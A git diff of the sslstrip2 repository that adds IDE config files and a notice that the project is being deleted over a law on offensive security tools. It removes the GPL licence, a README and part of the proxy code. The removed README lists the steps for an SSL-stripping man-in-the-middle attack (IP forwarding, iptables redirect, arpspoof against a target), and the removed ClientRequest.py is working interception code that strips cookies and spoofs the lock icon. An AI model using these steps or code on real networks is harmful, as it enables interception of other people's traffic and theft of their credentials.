diff --git a/.idea/.name b/.idea/.name new file mode 100644 index 0000000..f7edcea --- /dev/null +++ b/.idea/.name @@ -0,0 +1 @@ +sslstrip2 \ No newline at end of file diff --git a/.idea/encodings.xml b/.idea/encodings.xml new file mode 100644 index 0000000..e206d70 --- /dev/null +++ b/.idea/encodings.xml @@ -0,0 +1,5 @@ + + + + + diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 0000000..d166fff --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,5 @@ + + + + + diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 0000000..14d4be1 --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/.idea/scopes/scope_settings.xml b/.idea/scopes/scope_settings.xml new file mode 100644 index 0000000..922003b --- /dev/null +++ b/.idea/scopes/scope_settings.xml @@ -0,0 +1,5 @@ + + + + \ No newline at end of file diff --git a/.idea/sslstrip2.iml b/.idea/sslstrip2.iml new file mode 100644 index 0000000..a34a857 --- /dev/null +++ b/.idea/sslstrip2.iml @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..c80f219 --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,7 @@ + + + + + + + diff --git a/.idea/workspace.xml b/.idea/workspace.xml new file mode 100644 index 0000000..4ef9253 --- /dev/null +++ b/.idea/workspace.xml @@ -0,0 +1,235 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 1415114565962 + 1415114565962 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/COPYING b/COPYING deleted file mode 100644 index 94a9ed0..0000000 --- a/COPYING +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/README b/README deleted file mode 100644 index 181bdc9..0000000 --- a/README +++ /dev/null @@ -1,32 +0,0 @@ -sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping -attacks. - -It requires Python 2.5 or newer, along with the 'twisted' python module. - -Installing: - * Unpack: tar zxvf sslstrip-0.5.tar.gz - * Install twisted: sudo apt-get install python-twisted-web - * (Optionally) run 'python setup.py install' as root to install, - or you can just run it out of the directory. - -Running: - sslstrip can be run from the source base without installation. - Just run 'python sslstrip.py -h' as a non-root user to get the - command-line options. - - The four steps to getting this working (assuming you're running Linux) - are: - - 1) Flip your machine into forwarding mode (as root): - echo "1" > /proc/sys/net/ipv4/ip_forward - - 2) Setup iptables to intercept HTTP requests (as root): - iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port - - 3) Run sslstrip with the command-line options you'd like (see above). - - 4) Run arpspoof to redirect traffic to your machine (as root): - arpspoof -i -t - -More Info: - http://www.thoughtcrime.org/software/sslstrip/ diff --git a/README.md b/README.md index 35f766e..e3f6d78 100644 --- a/README.md +++ b/README.md @@ -9,3 +9,9 @@ For this to work you also need a DNS server that reverse the changes made by the Demo video at: http://www.youtube.com/watch?v=uGBjxfizy48 + + +BUT +=== + +Cause the new gag law which criminalized the publication of 'offensive' security tools/techniques I have to delete this repository. You can find good forks on MITMf framework (https://github.com/byt3bl33d3r/MITMf) or MANA rogue AP (https://github.com/sensepost/mana). \ No newline at end of file diff --git a/build/lib.linux-i686-2.6/sslstrip/ClientRequest.py b/build/lib.linux-i686-2.6/sslstrip/ClientRequest.py deleted file mode 100644 index 65dfed2..0000000 --- a/build/lib.linux-i686-2.6/sslstrip/ClientRequest.py +++ /dev/null @@ -1,203 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import urlparse, logging, os, sys, random, re - -from twisted.web.http import Request -from twisted.web.http import HTTPChannel -from twisted.web.http import HTTPClient - -from twisted.internet import ssl -from twisted.internet import defer -from twisted.internet import reactor -from twisted.internet.protocol import ClientFactory - -from ServerConnectionFactory import ServerConnectionFactory -from ServerConnection import ServerConnection -from SSLServerConnection import SSLServerConnection -from URLMonitor import URLMonitor -from CookieCleaner import CookieCleaner -from DnsCache import DnsCache - -class ClientRequest(Request): - - ''' This class represents incoming client requests and is essentially where - the magic begins. Here we remove the client headers we dont like, and then - respond with either favicon spoofing, session denial, or proxy through HTTP - or SSL to the server. - ''' - - def __init__(self, channel, queued, reactor=reactor): - Request.__init__(self, channel, queued) - self.reactor = reactor - self.urlMonitor = URLMonitor.getInstance() - self.cookieCleaner = CookieCleaner.getInstance() - self.dnsCache = DnsCache.getInstance() -# self.uniqueId = random.randint(0, 10000) - - def cleanHeaders(self): - headers = self.getAllHeaders().copy() - - if 'accept-encoding' in headers: - del headers['accept-encoding'] - - if 'referer' in headers: - real = self.urlMonitor.real - if len(real)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) - headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) - - if 'if-modified-since' in headers: - del headers['if-modified-since'] - - if 'cache-control' in headers: - del headers['cache-control'] - - if 'if-none-match' in headers: - del headers['if-none-match'] - - if 'host' in headers: - host = self.urlMonitor.URLgetRealHost("%s"%headers['host']) - logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host)) - headers['host'] = host - headers['securelink'] = '1' - self.setHeader('Host',host) - - return headers - - def getPathFromUri(self): - if (self.uri.find("http://") == 0): - index = self.uri.find('/', 7) - return self.uri[index:] - - return self.uri - - - def getPathToLockIcon(self): - if os.path.exists("lock.ico"): return "lock.ico" - - scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) - scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") - - if os.path.exists(scriptPath): return scriptPath - - logging.warning("Error: Could not find lock.ico") - return "lock.ico" - - def save_req(self,lfile,str): - f = open(lfile,"a") - f.write(str) - f.close() - - def handleHostResolvedSuccess(self, address): - headers = self.cleanHeaders() -# for header in headers: -# logging.debug("HEADER %s = %s",header,headers[header]) - logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) - lhost = self.getHeader("host").lower() - host = self.urlMonitor.URLgetRealHost("%s"%lhost) - client = self.getClientIP() - path = self.getPathFromUri() - self.content.seek(0,0) - postData = self.content.read() - real = self.urlMonitor.real - patchDict = self.urlMonitor.patchDict - - if len(real)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) - path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) - postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) - if len(patchDict)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) - postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) - - url = 'http://' + host + path - headers['content-length']="%d"%len(postData) - - self.dnsCache.cacheResolution(host, address) - if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - logging.debug("Sending expired cookies...") - self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, - host, headers, path)) - elif (self.urlMonitor.isSecureFavicon(client, path)): - logging.debug("Sending spoofed favicon response...") - self.sendSpoofedFaviconResponse() - elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): - if 'securelink' in headers: - del headers['securelink'] - logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) - self.proxyViaSSL(address, self.method, path, postData, headers, - self.urlMonitor.getSecurePort(client, url)) - else: - logging.debug("LEO Sending request via HTTP...") - self.proxyViaHTTP(address, self.method, path, postData, headers) - - def handleHostResolvedError(self, error): - logging.warning("Host resolution error: " + str(error)) - self.finish() - - def resolveHost(self, host): - address = self.dnsCache.getCachedAddress(host) - - if address != None: - logging.debug("Host cached.") - return defer.succeed(address) - else: - logging.debug("Host not cached.") - return reactor.resolve(host) - - def process(self): - host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host')) - logging.debug("Resolving host: %s" % host) - deferred = self.resolveHost(host) - - 